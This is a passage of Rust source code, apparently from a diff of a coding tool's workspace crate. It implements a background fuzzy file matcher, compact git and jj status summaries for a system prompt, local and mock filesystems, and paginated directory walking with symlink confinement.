fn as_ref(&self) -> &[FuzzyMatchResult] {
self.topk.as_ref()
}
}
#[derive(Debug, Clone)]
enum FuzzyMatcherDaemonMessage {
RestartWalk { hidden: bool },
SetQuery { query: String, dirs: bool },
Stop,
}
pub struct FuzzyFileMatcherDaemon {
results: Arc<Mutex<FuzzyMatcherDaemonResults>>,
tx: SyncSender<FuzzyMatcherDaemonMessage>,
_handle: JoinHandle<()>,
}
impl FuzzyFileMatcherDaemon {
pub fn new(mut matcher: FuzzyFileMatcher, topk: usize) -> Self {
let results = Arc::new(Mutex::new(FuzzyMatcherDaemonResults::default()));
let (tx, rx) = sync_channel(1024);
let res = results.clone();
let handle = thread::spawn(move || {
let results = res;
let mut done = false;
let mut generation = 0;
loop {
let msg = if !done {
rx.recv_timeout(Duration::from_micros(250))
} else {
rx.recv().map_err(|e| match e {
RecvError => RecvTimeoutError::Disconnected,
})
};
match msg {
Ok(FuzzyMatcherDaemonMessage::RestartWalk { hidden }) => {
if !hidden {
tracing::trace!("restarting normal walk");
matcher.restart_walk();
} else {
tracing::trace!("restarting hidden walk");
matcher.restart_walk_custom(|w| {
w.hidden(false).ignore(false).git_ignore(false)
});
}
generation += 1;
*results.lock().unwrap() = FuzzyMatcherDaemonResults::default();
done = false;
}
Ok(FuzzyMatcherDaemonMessage::SetQuery { query, dirs }) => {
matcher.set_query(&query, dirs);
generation += 1;
done = false;
}
Ok(FuzzyMatcherDaemonMessage::Stop) | Err(RecvTimeoutError::Disconnected) => {
break;
}
Err(RecvTimeoutError::Timeout) => {
if !done {
let status = matcher.tick(10);
done = status.done;
let num_items = matcher.num_items();
let topk: Arc<[_]> = matcher.get_top_k(topk).into();
*results.lock().unwrap() = FuzzyMatcherDaemonResults {
topk,
num_items,
status,
generation,
};
generation += 1;
}
}
}
}
});
Self {
results,
tx,
_handle: handle,
}
}
pub fn get(&self) -> FuzzyMatcherDaemonResults {
self.results.lock().unwrap().clone()
}
pub fn set_query(&self, query: impl AsRef<str>, dirs: bool) {
let query = query.as_ref().to_owned();
_ = self
.tx
.send(FuzzyMatcherDaemonMessage::SetQuery { query, dirs })
.ok();
}
pub fn restart_walk(&self, hidden: bool) {
_ = self
.tx
.send(FuzzyMatcherDaemonMessage::RestartWalk { hidden })
.ok();
}
}
impl Drop for FuzzyFileMatcherDaemon {
fn drop(&mut self) {
_ = self.tx.send(FuzzyMatcherDaemonMessage::Stop).ok();
}
}
@@ -0,0 +1,290 @@
//! Generates a compact git status for the system prompt.
//!
//! Uses the git CLI for performance — libgit2's status is 5-10x slower than
//! the native git binary on large repos due to inefficient index refresh.
//! Output is prioritized by change type and limited to ~1k characters.
use crate::file_system::FsError;
use std::fmt::Write;
use std::path::{Path, PathBuf};
/// Gets a compact git status for the system prompt using the git CLI.
///
/// Output includes:
/// 1. Branch name
/// 2. Upstream ahead/behind status
/// 3. Staged files (if any)
///
/// Total output is capped at ~1k characters.
pub async fn git_status(working_directory: impl Into<PathBuf>) -> Result<String, FsError> {
let working_directory = working_directory.into();
tokio::task::spawn_blocking(move || git_status_impl(&working_directory))
.await
.map_err(|e| FsError::Other(format!("git status task failed: {}", e)))?
}
/// Matches Node's default `execFile` `maxBuffer` (1 MiB). This cap is
/// load-bearing: `git status` output at or above it makes the spawn throw, so
/// the repo is dropped from `<git_status>` entirely (never truncated).
/// Oversized output is treated as an error -- the caller maps `Err` to a
/// dropped section.
const GIT_STATUS_BUFFER_LIMIT: usize = 1024 * 1024;
/// Whether `git status` stdout is large enough that the repo is dropped
/// (`>= 1 MiB`). Extracted as a pure predicate so it is unit-testable
/// without spawning git.
fn git_status_exceeds_buffer(stdout_len: usize) -> bool {
stdout_len >= GIT_STATUS_BUFFER_LIMIT
}
/// Collapse runs of 2+ spaces to a single space.
///
/// The `<git_status>` body collapses consecutive spaces, so the
/// porcelain two-column status renders with a single separator: `A staged.txt`
/// (index-added, clean worktree) becomes `A staged.txt`, `M mod.txt` becomes
/// `M mod.txt`, `R old -> new` becomes `R old -> new`. A single leading space
/// (e.g. ` M file`, worktree-modified) and the rename ` -> ` separator are
/// preserved because they are runs of length one.
/// Newlines are never touched.
fn collapse_status_spaces(s: &str) -> String {
let mut out = String::with_capacity(s.len());
let mut prev_space = false;
for ch in s.chars() {
if ch == ' ' {
if prev_space {
continue;
}
prev_space = true;
} else {
prev_space = false;
}
out.push(ch);
}
out
}
/// Short git status for the templated user message.
///
/// Runs `git status --short --branch` and returns its output with consecutive
/// spaces collapsed via [`collapse_status_spaces`]: a leading `## <branch>`
/// line followed by the file change list (or just `## <branch>` on a clean
/// tree). This matches the body embedded in the `<git_status>` block
/// byte-for-byte.
pub async fn git_status_short(working_directory: impl Into<PathBuf>) -> Result<String, FsError> {
let working_directory = working_directory.into();
tokio::task::spawn_blocking(move || {
let output = kigi_tty_utils::git_command()
.args(["status", "--short", "--branch"])
.current_dir(&working_directory)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::null())
.output()
.map_err(|e| FsError::Other(format!("git status --short --branch failed: {}", e)))?;
if !output.status.success() {
return Err(FsError::Other(format!(
"git status --short --branch exited with code {:?}",
output.status.code()
)));
}
// Output >= 1 MiB is dropped entirely, not truncated. Render-time
// truncation handles the < 1 MiB case.
if git_status_exceeds_buffer(output.stdout.len()) {
return Err(FsError::Other(
"git status --short --branch output exceeded 1 MiB buffer".to_string(),
));
}
// Consecutive spaces in the status body are collapsed so staged
// entries (`A file` -> `A file`) match the wire format.
Ok(collapse_status_spaces(&String::from_utf8_lossy(
&output.stdout,
)))
})
.await
.map_err(|e| FsError::Other(format!("git status --short --branch task failed: {}", e)))?
}
fn git_status_impl(working_directory: &Path) -> Result<String, FsError> {
let _timer = /* instrumentation_timer */ () ; // dev macro; noop stub ("git_status.impl")
let max_status_chars = 1000;
let mut output = String::with_capacity(max_status_chars);
// Get branch name
let branch_name = {
let _timer = /* instrumentation_timer */ () ; // dev macro; noop stub ("git_status.branch_info")
run_git(working_directory, &["rev-parse", "--abbrev-ref", "HEAD"])
};
match &branch_name {
Some(branch) if branch == "HEAD" => {
// Detached HEAD — get short commit hash
if let Some(hash) = run_git(working_directory, &["rev-parse", "--short", "HEAD"]) {
let _ = writeln!(output, "HEAD detached at {}", hash);
}
}
Some(branch) => {
let _ = writeln!(output, "On branch {}", branch);
}
None => {
return Err(FsError::Other("not a git repository".to_string()));
}
}
// Get upstream ahead/behind
{
let _timer = (); // instrumentation_timer noop stub
if let Some(upstream_name) = run_git(
working_directory,
&["rev-parse", "--abbrev-ref", "@{upstream}"],
) && let Some(counts) = run_git(
working_directory,
&["rev-list", "--count", "--left-right", "@{upstream}...HEAD"],
) {
let parts: Vec<&str> = counts.split_whitespace().collect();
if let (Some(behind_str), Some(ahead_str)) = (parts.first(), parts.get(1)) {
let behind: usize = behind_str.parse().unwrap_or(0);
let ahead: usize = ahead_str.parse().unwrap_or(0);
let status_msg = match (ahead, behind) {
(0, 0) => {
format!("Your branch is up to date with '{}'.", upstream_name)
}
(a, 0) => format!(
"Your branch is ahead of '{}' by {} commit{}.",
upstream_name,
a,
if a == 1 { "" } else { "s" }
),
(0, b) => format!(
"Your branch is behind '{}' by {} commit{}.",
upstream_name,
b,
if b == 1 { "" } else { "s" }
),
(a, b) => format!(
"Your branch and '{}' have diverged ({} ahead, {} behind).",
upstream_name, a, b
),
};
let _ = writeln!(output, "{}", status_msg);
}
}
}
// Get staged changes (index vs HEAD) — fast, no workdir scan
let staged_output = {
let _timer = /* instrumentation_timer */ () ; // dev macro; noop stub ("git_status.staged")
run_git(
working_directory,
&["diff", "--cached", "--name-status", "HEAD"],
)
};
let mut staged: Vec<String> = Vec::new();
if let Some(ref diff_output) = staged_output {
for line in diff_output.lines() {
let mut parts = line.splitn(2, '\t');
let status_char = parts.next().unwrap_or("");
let path = parts.next().unwrap_or("");
if path.is_empty() {
continue;
}
let formatted = match status_char.chars().next() {
Some('A') => format!("\tnew file: {}", path),
Some('M') => format!("\tmodified: {}", path),
Some('D') => format!("\tdeleted: {}", path),
Some('R') => format!("\trenamed: {}", path),
_ => format!("\t{}: {}", status_char, path),
};
staged.push(formatted);
}
}
// Check if clean
if staged.is_empty() {
let _ = writeln!(output, "\nnothing to commit, working tree clean");
return Ok(output);
}
// Reserve space for truncation message
let reserve_for_truncation = 50;
let char_budget = max_status_chars - reserve_for_truncation;
// Write staged files
if !staged.is_empty() && output.len() < char_budget {
let _ = writeln!(output, "\nChanges to be committed:");
for (shown, line) in staged.iter().enumerate() {
if output.len() + line.len() + 1 > char_budget {
let remaining = staged.len() - shown;
if remaining > 0 {
let _ = writeln!(output, "\t... and {} more staged", remaining);
}
break;
}
let _ = writeln!(output, "{}", line);
}
}
Ok(output)
}
/// Run a read-only git command and return its stdout, trimmed.
/// Returns None on failure.
///
/// Uses `--no-optional-locks` to avoid creating `index.lock` for stat-cache
/// refreshes. This function is called from background tasks (system prompt
/// generation) and must never contend with foreground git operations.
fn run_git(cwd: &Path, args: &[&str]) -> Option<String> {
let output = kigi_tty_utils::git_command()
.args(args)
.current_dir(cwd)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::null())
.output()
.ok()?;
if !output.status.success() {
return None;
}
let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
if stdout.is_empty() {
None
} else {
Some(stdout)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn git_status_buffer_cap_matches_spec() {
assert!(!git_status_exceeds_buffer(0));
assert!(!git_status_exceeds_buffer(GIT_STATUS_BUFFER_LIMIT - 1));
// At or above 1 MiB -> dropped.
assert!(git_status_exceeds_buffer(GIT_STATUS_BUFFER_LIMIT));
assert!(git_status_exceeds_buffer(GIT_STATUS_BUFFER_LIMIT + 1));
}
/// Staged entries collapse the porcelain double space, while leading
/// single spaces and ` -> ` are preserved.
#[test]
fn collapse_status_spaces_matches_spec() {
let raw = "## main...origin/main\n M committed.txt\nA staged.txt\nM mod.txt\nR old.txt -> new.txt\n?? untracked.txt\n";
let want = "## main...origin/main\n M committed.txt\nA staged.txt\nM mod.txt\nR old.txt -> new.txt\n?? untracked.txt\n";
assert_eq!(collapse_status_spaces(raw), want);
}
/// Newlines are never collapsed (blank lines preserved).
#[test]
fn collapse_status_spaces_preserves_newlines() {
assert_eq!(collapse_status_spaces("a\n\n\nb"), "a\n\n\nb");
assert_eq!(collapse_status_spaces(""), "");
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,85 @@
//! Compact jj status for the system prompt.
use std::fmt::Write;
use std::path::{Path, PathBuf};
use std::process::Command;
use crate::file_system::FsError;
/// jj template: change ID, commit ID, description, bookmarks.
const JJ_LOG_TEMPLATE: &str = r#"separate("\n",
"Change: " ++ change_id.shortest(8),
"Commit: " ++ commit_id.shortest(8),
if(description,
"Description: " ++ description.first_line(),
"Description: (no description set)"),
if(bookmarks,
"Bookmarks: " ++ bookmarks.join(", "),
"")
)"#;
/// Compact jj status for the system prompt (~1k chars max).
pub async fn jj_status(working_directory: impl Into<PathBuf>) -> Result<String, FsError> {
let working_directory = working_directory.into();
tokio::task::spawn_blocking(move || jj_status_impl(&working_directory))
.await
.map_err(|e| FsError::Other(format!("jj status task failed: {e}")))?
}
fn jj_status_impl(cwd: &Path) -> Result<String, FsError> {
let max_chars = 1000;
let mut out = String::with_capacity(max_chars);
let log = run_jj(
cwd,
&["log", "--no-graph", "-r", "@", "-T", JJ_LOG_TEMPLATE],
)
.ok_or_else(|| FsError::Other("not a jujutsu repository".into()))?;
for line in log.lines().filter(|l| !l.is_empty()) {
let _ = writeln!(out, "{line}");
}
match run_jj(cwd, &["st"]) {
Some(st) if st.contains("The working copy is clean") || st.is_empty() => {
let _ = writeln!(out, "\nWorking copy is clean");
}
Some(st) => {
let _ = writeln!(out);
let budget = max_chars - 50;
for (i, line) in st.lines().enumerate() {
if out.len() + line.len() + 1 > budget {
let remaining = st.lines().count() - i;
if remaining > 0 {
let _ = writeln!(out, "... and {remaining} more lines");
}
break;
}
let _ = writeln!(out, "{line}");
}
}
None => {}
}
Ok(out)
}
/// Run a jj command synchronously, returning trimmed stdout or `None` on failure.
fn run_jj(cwd: &Path, args: &[&str]) -> Option<String> {
let mut cmd = Command::new("jj");
cmd.arg("--ignore-working-copy")
.args(args)
.current_dir(cwd)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::null())
.stdin(std::process::Stdio::null());
kigi_tools::util::detach_std_command(&mut cmd);
let output = cmd.output().ok()?;
if !output.status.success() {
return None;
}
let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
(!stdout.is_empty()).then_some(stdout)
}
@@ -0,0 +1,50 @@
use std::path::{Path, PathBuf};
use tokio::fs;
use crate::file_system::{AsyncFileSystem, FsError};
pub struct LocalFs {
root: PathBuf,
}
impl LocalFs {
pub fn new(root: PathBuf) -> Self {
Self { root }
}
}
#[async_trait::async_trait]
impl AsyncFileSystem for LocalFs {
fn root(&self) -> &Path {
&self.root
}
async fn exists(&self, path: &Path) -> Result<bool, FsError> {
Ok(fs::try_exists(path).await?)
}
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError> {
Ok(fs::read(path).await?)
}
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
match fs::read(path).await {
Ok(bytes) => Ok(Some(bytes)),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
Err(e) => Err(e.into()),
}
}
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError> {
if let Some(dir) = path.parent() {
fs::create_dir_all(dir).await?;
}
fs::write(path, data).await?;
Ok(())
}
async fn delete_file(&self, path: &Path) -> Result<(), FsError> {
fs::remove_file(path).await?;
Ok(())
}
}
@@ -0,0 +1,58 @@
use std::collections::HashMap;
use std::io;
use std::path::{Path, PathBuf};
use tokio::sync::RwLock;
use crate::file_system::{AsyncFileSystem, FsError};
pub struct MockFs {
root: PathBuf,
files: RwLock<HashMap<PathBuf, Vec<u8>>>,
}
#[async_trait::async_trait]
impl AsyncFileSystem for MockFs {
fn root(&self) -> &Path {
&self.root
}
async fn exists(&self, path: &Path) -> Result<bool, FsError> {
let map = self.files.read().await;
Ok(map.contains_key(path))
}
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError> {
let map = self.files.read().await;
if let Some(bytes) = map.get(path) {
Ok(bytes.clone())
} else {
Err(io::Error::new(io::ErrorKind::NotFound, "File not found").into())
}
}
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
let map = self.files.read().await;
Ok(map.get(path).cloned())
}
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError> {
let mut map = self.files.write().await;
map.insert(path.to_path_buf(), data.to_vec());
Ok(())
}
async fn delete_file(&self, path: &Path) -> Result<(), FsError> {
let mut map = self.files.write().await;
map.remove(path);
Ok(())
}
}
impl MockFs {
pub fn new(root: PathBuf) -> Self {
Self {
root,
files: RwLock::new(HashMap::new()),
}
}
}
@@ -0,0 +1,360 @@
mod acp_fs;
pub use acp_fs::AcpSessionFs;
mod ext_fs;
pub use ext_fs::{
FsDeleteFileReq, FsExistsData, FsExistsReq, FsListData, FsListNode, FsListReq, FsReadFileData,
FsReadFileReq, FsWriteFileReq,
};
// Client-facing read-only fs ops (`workspace.client_fs_*`). Not re-exported:
// its wire types live in `kigi_workspace_types::rpc::fs` (the `ClientFs*`
// types) and would collide with the shell-facing `ext_fs` names above.
pub(crate) mod client_fs;
// Shared filesystem core: paginated listing + binary-safe ranged reads,
// used by `client_fs`, `ext_fs`, and the shell-local `session::file_system`.
mod walk;
pub use walk::{
ChunkPayload, ListOptions, ListPage, ListedEntry, MAX_LIST_COLLECT, MAX_READ_BYTES,
clamp_read_length, encode_chunk, list_directory_paged, read_range,
};
// Re-exported so shell-side fs ops can name the shared read encoding.
pub use kigi_workspace_types::rpc::fs::FsReadEncoding;
pub mod adapter;
pub use adapter::AcpFsAdapter;
mod codebase_index;
pub use codebase_index::CodebaseIndexManager;
mod fs;
pub use fs::{AsyncFileSystem, AsyncFsWrapper, FsError, bytes_to_string};
mod local_fs;
pub use local_fs::LocalFs;
mod mock_fs;
pub use mock_fs::MockFs;
mod file_tree;
pub use file_tree::{ListContentsLimits, list_contents};
mod git_status;
pub use git_status::{git_status, git_status_short};
mod jj_status;
pub use jj_status::jj_status;
mod attach_file;
pub use attach_file::{FileReference, render_embedded_resource, render_file_reference};
mod fuzzy;
pub use fuzzy::{
FuzzyFileMatcher, FuzzyFileMatcherDaemon, FuzzyMatchResult, FuzzyMatcherDaemonResults,
FuzzyMatcherStatus,
};
mod index;
pub use index::{FileEntry, FileIndex, FileIndexDelta, SegmentId, StringInterner, WalkOptions};
mod content;
pub use content::{
ContentMatch, ContentMatchFile, ContentSearchBatch, ContentSearchData, ContentSearchParams,
content_search_streaming,
};
use serde::Serialize;
use std::{
collections::HashMap,
path::{Path, PathBuf},
time::{Duration, Instant},
};
use uuid::Uuid;
// Canonical in kigi-workspace-types; re-exported for existing paths.
pub use kigi_workspace_types::rpc::search::{ClientId, ContentSearchRequest, TargetClientId};
impl From<ContentSearchRequest> for ContentSearchParams {
fn from(req: ContentSearchRequest) -> Self {
let pattern = if req.is_regex {
req.pattern
} else if req.whole_word {
format!("\\b{}\\b", regex::escape(&req.pattern))
} else {
req.pattern
};
let literal = !req.is_regex && !req.whole_word;
let globs: Vec<String> = req
.include_globs
.into_iter()
.chain(req.exclude_globs.into_iter().map(|g| format!("!{g}")))
.collect();
Self {
pattern,
case_insensitive: req.case_insensitive,
literal,
globs,
max_files: req.max_files,
max_matches: req.max_matches,
respect_gitignore: req.respect_gitignore,
}
}
}
const DEFAULT_SEARCH_TIMEOUT_SECS: u64 = 30;
const DEFAULT_TOP_K: usize = 1000;
pub type FuzzySearchId = String;
impl Serialize for FuzzyMatchResult {
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
where
S: serde::Serializer,
{
use serde::ser::SerializeStruct;
use std::borrow::Cow;
let path_str = self.path.to_string();
let node_type = if self.is_dir { "directory" } else { "file" };
let name: Cow<str> = std::path::Path::new(&path_str)
.file_name()
.map(|s| s.to_string_lossy())
.unwrap_or(Cow::Borrowed(&path_str));
let mut state = serializer.serialize_struct("FuzzyMatchResult", 5)?;
state.serialize_field("name", &name)?;
state.serialize_field("type", node_type)?;
state.serialize_field("path", &path_str)?;
state.serialize_field("score", &self.score)?;
state.serialize_field("indices", &self.indices)?;
state.end()
}
}
#[derive(Debug, Clone, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct FuzzySearchData {
pub matches: Vec<FuzzyMatchResult>,
pub total: usize,
pub done: bool,
pub generation: usize,
}
/// Result of one fuzzy-search poll tick (see [`WorkspaceHandle::fuzzy_poll`]).
///
/// Consumed in-process by the shell's notification driver, so it carries the
/// (non-`Deserialize`) match results directly rather than going over RPC.
///
/// [`WorkspaceHandle::fuzzy_poll`]: crate::handle::WorkspaceHandle::fuzzy_poll
#[derive(Debug, Clone)]
pub enum FuzzyPollOutcome {
/// The query was superseded by a newer change — stop polling.
Stale,
/// The search no longer exists — stop polling.
Closed,
/// The search exists but produced no new results this tick — keep polling.
Pending,
/// New results, with paths already absolutized against the search root.
Update(FuzzySearchData),
}
pub struct FuzzySearchContext {
pub daemon: FuzzyFileMatcherDaemon,
pub created_at: Instant,
pub last_activity: Instant,
pub hidden: bool,
pub min_generation: usize,
pub has_query: bool,
pub query_version: usize,
/// The root path for this search (used to convert relative paths to absolute).
pub root: PathBuf,
/// Session ID for routing notifications.
/// Used by the relay to route notifications to session subscribers.
pub session_id: Option<String>,
/// Target client ID for routing notifications.
/// Extracted from `_meta.clientId` in the open request.
pub target_client_id: TargetClientId,
}
impl FuzzySearchContext {
pub fn new(
root: &Path,
hidden: bool,
session_id: Option<String>,
target_client_id: TargetClientId,
) -> Self {
let matcher = FuzzyFileMatcher::new(root);
let daemon = FuzzyFileMatcherDaemon::new(matcher, DEFAULT_TOP_K);
daemon.restart_walk(hidden);
Self {
daemon,
created_at: Instant::now(),
last_activity: Instant::now(),
hidden,
min_generation: 0,
has_query: false,
query_version: 0,
root: root.to_path_buf(),
session_id,
target_client_id,
}
}
pub fn is_stale(&self, timeout: Duration) -> bool {
self.last_activity.elapsed() > timeout
}
}
pub struct FuzzySearchManager {
searches: HashMap<FuzzySearchId, FuzzySearchContext>,
timeout: Duration,
}
impl FuzzySearchManager {
pub fn new(timeout: Duration) -> Self {
Self {
searches: HashMap::new(),
timeout,
}
}
pub fn open(
&mut self,
root: &Path,
request_id: Option<String>,
hidden: bool,
session_id: Option<String>,
target_client_id: TargetClientId,
) -> FuzzySearchId {
self.cleanup_stale();
let search_id = request_id.unwrap_or_else(|| Uuid::now_v7().to_string());
let context = FuzzySearchContext::new(root, hidden, session_id, target_client_id);
self.searches.insert(search_id.clone(), context);
search_id
}
/// Get the session ID for a search, if one was set.
/// Used for routing notifications to session subscribers.
pub fn get_session_id(&self, search_id: &str) -> Option<String> {
self.searches
.get(search_id)
.and_then(|ctx| ctx.session_id.clone())
}
/// Get the target client ID for a search, if one was set.
/// Used for routing notifications to the correct client via relay.
pub fn get_target_client_id(&self, search_id: &str) -> TargetClientId {
self.searches
.get(search_id)
.map(|ctx| ctx.target_client_id.clone())
.unwrap_or_default()
}
/// Get the root path for a search.
/// Used to convert relative paths to absolute paths in results.
pub fn get_root(&self, search_id: &str) -> Option<PathBuf> {
self.searches.get(search_id).map(|ctx| ctx.root.clone())
}
pub fn change(
&mut self,
search_id: &str,
query: &str,
dirs_only: bool,
) -> Option<(usize, bool, usize)> {
let ctx = self.searches.get_mut(search_id)?;
ctx.last_activity = Instant::now();
// Rewalk on empty query to refresh index when picker opens.
if query.is_empty() {
ctx.daemon.restart_walk(ctx.hidden);
}
ctx.daemon.set_query(query, dirs_only);
ctx.min_generation += 1;
ctx.has_query = !query.is_empty();
ctx.query_version += 1;
Some((ctx.min_generation, ctx.has_query, ctx.query_version))
}
pub fn is_current_query(&self, search_id: &str, query_version: usize) -> bool {
self.searches
.get(search_id)
.is_some_and(|ctx| ctx.query_version == query_version)
}
pub fn get_results(&mut self, search_id: &str) -> Option<FuzzySearchData> {
let ctx = self.searches.get_mut(search_id)?;
ctx.last_activity = Instant::now();
let results = ctx.daemon.get();
Some(FuzzySearchData {
matches: results.topk.to_vec(),
total: results.num_items,
done: results.status.done,
generation: results.generation,
})
}
pub fn get_results_filtered(
&mut self,
search_id: &str,
min_gen: usize,
has_query: bool,
) -> Option<FuzzySearchData> {
let ctx = self.searches.get_mut(search_id)?;
ctx.last_activity = Instant::now();
let results = ctx.daemon.get();
if results.generation < min_gen {
return None;
}
// Skip intermediate states: empty results or unscored defaults while scanning
if has_query && !results.status.done {
if results.topk.is_empty() {
return None;
}
let all_unscored = results
.topk
.iter()
.all(|m| m.score == 0 && m.indices.is_empty());
if all_unscored {
return None;
}
}
Some(FuzzySearchData {
matches: results.topk.to_vec(),
total: results.num_items,
done: results.status.done,
generation: results.generation,
})
}
pub fn close(&mut self, search_id: &str) -> bool {
self.searches.remove(search_id).is_some()
}
pub fn cleanup_stale(&mut self) {
let timeout = self.timeout;
self.searches.retain(|_, ctx| !ctx.is_stale(timeout));
}
pub fn active_count(&self) -> usize {
self.searches.len()
}
}
impl Default for FuzzySearchManager {
fn default() -> Self {
Self::new(Duration::from_secs(DEFAULT_SEARCH_TIMEOUT_SECS))
}
}
@@ -0,0 +1,344 @@
//! Shared filesystem core for the fs list/read ops.
//!
//! Owns the `ignore::WalkBuilder` configuration, glob overrides, the
//! dirs-first paginated listing ([`list_directory_paged`]), and the
//! binary-safe ranged-read primitives ([`read_range`], [`encode_chunk`])
//! used by all three fs surfaces — the shell-local
//! `session::file_system`, the shell-facing
//! [`ext_fs`](super::ext_fs) `workspace.fs_*`, and the client-facing
//! [`client_fs`](super::client_fs) `workspace.client_fs_*` — so walk and
//! read fixes apply to every consumer. Each consumer maps the neutral
//! [`ListedEntry`] / [`ChunkPayload`] to its own wire shape (absolute vs
//! root-relative paths, RFC 3339 vs epoch-ms timestamps, MIME vs
//! text/binary type tags).
use std::path::{Path, PathBuf};
use std::time::SystemTime;
use base64::Engine;
use ignore::{WalkBuilder, overrides::OverrideBuilder};
use kigi_workspace_types::rpc::fs::FsReadEncoding;
/// Hard cap on entries collected per list call before sorting. A
/// pathological directory truncates (`truncated = true`) instead of
/// ballooning memory. Shared by every fs surface.
pub const MAX_LIST_COLLECT: usize = 50_000;
/// Server-side cap on a single ranged read's effective byte budget
/// (`min(length, max_bytes)`). 4 MiB raw (≈ 5.3 MiB base64) stays under
/// the server's 8 MiB frame cap. Shared by every fs read surface.
pub const MAX_READ_BYTES: u64 = 4 * 1024 * 1024;
/// Resolve a ranged read's effective byte budget, shared by every fs read
/// surface so the clamp policy can't drift between them. An absent `length`
/// means "to EOF", but the result is always capped at the caller's
/// `max_bytes` and the hard [`MAX_READ_BYTES`] server limit — so a short
/// read is expected, and callers detect "more data" by comparing the
/// returned bytes (at `offset`) against the file `size`.
pub fn clamp_read_length(length: Option<u64>, max_bytes: u64) -> u64 {
length
.unwrap_or(u64::MAX)
.min(max_bytes)
.min(MAX_READ_BYTES)
}
/// Walk configuration. Field semantics mirror the `x.ai/fs/list` request.
pub(super) struct FsWalk<'a> {
pub depth: usize,
pub follow_symlinks: bool,
pub respect_git_ignore: bool,
pub include_hidden: bool,
pub include_globs: &'a [String],
pub exclude_globs: &'a [String],
/// When set, symlink entries whose canonical target leaves this
/// canonical root are excluded — and not descended into — so a walk
/// of a confined tree cannot enumerate paths outside it. `None`
/// preserves the shell's unconfined semantics.
pub confine_to_canonical_root: Option<PathBuf>,
}
/// One raw walk entry; `metadata` follows symlinks (like `fs::metadata`).
pub(super) struct RawFsEntry {
pub path: PathBuf,
pub name: String,
pub is_symlink: bool,
pub metadata: std::fs::Metadata,
}
/// Walk `abs_dir` per `opts`, collecting up to `max_entries` entries (the
/// root itself is skipped; unreadable entries are skipped without counting).
/// Returns `(entries, hit_cap)` where `hit_cap` means the walk stopped at
/// the cap with entries left over.
pub(super) fn walk_fs_entries(
abs_dir: &Path,
opts: FsWalk<'_>,
max_entries: usize,
) -> (Vec<RawFsEntry>, bool) {
let overrides = build_glob_overrides(abs_dir, opts.include_globs, opts.exclude_globs);
let mut builder = WalkBuilder::new(abs_dir);
builder
.max_depth(Some(opts.depth))
.follow_links(opts.follow_symlinks)
.same_file_system(true)
.standard_filters(true)
.git_ignore(opts.respect_git_ignore)
.git_global(opts.respect_git_ignore)
.git_exclude(opts.respect_git_ignore)
.hidden(!opts.include_hidden)
.overrides(overrides);
if let Some(canonical_root) = opts.confine_to_canonical_root {
builder.filter_entry(move |dent| symlink_stays_in_root(dent.path(), &canonical_root));
}
let mut entries: Vec<RawFsEntry> = Vec::new();
let mut hit_cap = false;
for dent in builder.build() {
let Ok(entry) = dent else { continue };
if entry.depth() == 0 {
continue;
}
if entries.len() >= max_entries {
hit_cap = true;
break;
}
let path = entry.path().to_path_buf();
let is_symlink = std::fs::symlink_metadata(&path)
.map(|m| m.file_type().is_symlink())
.unwrap_or(false);
let metadata = match std::fs::metadata(&path) {
Ok(m) => m,
Err(_) => continue,
};
entries.push(RawFsEntry {
name: entry.file_name().to_string_lossy().into_owned(),
path,
is_symlink,
metadata,
});
}
(entries, hit_cap)
}
/// `true` when `path` is not a symlink, or is a symlink whose canonical
/// target stays under `canonical_root`. Unverifiable symlinks (e.g.
/// dangling) are excluded — confinement fails closed.
fn symlink_stays_in_root(path: &Path, canonical_root: &Path) -> bool {
let is_symlink = std::fs::symlink_metadata(path)
.map(|m| m.file_type().is_symlink())
.unwrap_or(false);
if !is_symlink {
return true;
}
dunce::canonicalize(path)
.map(|c| c.starts_with(canonical_root))
.unwrap_or(false)
}
pub(super) fn build_glob_overrides(
base: &Path,
include: &[String],
exclude: &[String],
) -> ignore::overrides::Override {
let mut ob = OverrideBuilder::new(base);
for pat in include {
let patt = if pat.starts_with('!') {
pat.clone()
} else {
format!("!{}", pat)
};
let _ = ob.add(&patt);
}
for pat in exclude {
let _ = ob.add(pat);
}
ob.build().unwrap_or_else(|_| {
OverrideBuilder::new(base)
.build()
.expect("override build fallback")
})
}
// =========================================================================
// Paginated listing
// =========================================================================
/// One listed node in neutral form (no wire serialization). Consumers map
/// this to their own node shape.
pub struct ListedEntry {
/// File name (final path component).
pub name: String,
/// Absolute path on the workspace/host filesystem.
pub abs_path: PathBuf,
/// Whether the entry is a directory.
pub is_dir: bool,
/// Whether the entry itself is a symlink.
pub is_symlink: bool,
/// Size in bytes (files only).
pub size: Option<u64>,
/// Modification time, when readable.
pub modified: Option<SystemTime>,
}
/// One page of a directory listing.
pub struct ListPage {
/// The page slice `[offset, offset + limit)` after the dirs-first sort.
pub entries: Vec<ListedEntry>,
/// `true` when more entries exist beyond this page, or the collection
/// cap was hit before the walk finished.
pub truncated: bool,
}
/// Options for [`list_directory_paged`].
pub struct ListOptions<'a> {
pub depth: usize,
pub follow_symlinks: bool,
pub respect_git_ignore: bool,
pub include_hidden: bool,
pub include_globs: &'a [String],
pub exclude_globs: &'a [String],
/// Pagination offset applied after the sort.
pub offset: u64,
/// Page size (already clamped by the caller as appropriate).
pub limit: usize,
/// When set, mid-walk symlink escapes outside this canonical root are
/// excluded; `None` keeps the shell's unconfined semantics.
pub confine_to_canonical_root: Option<PathBuf>,
}
/// Whether more entries exist than this page returned. True when entries
/// remain beyond the page (`end < total`) OR the walk hit the collection cap
/// AND the caller has not yet paged past the collected window
/// (`hit_cap && start < total`). Gating the cap term on `start < total` is
/// what makes a `while truncated { offset += limit }` loop terminate: once a
/// client has consumed every collected entry the flag drops to false instead
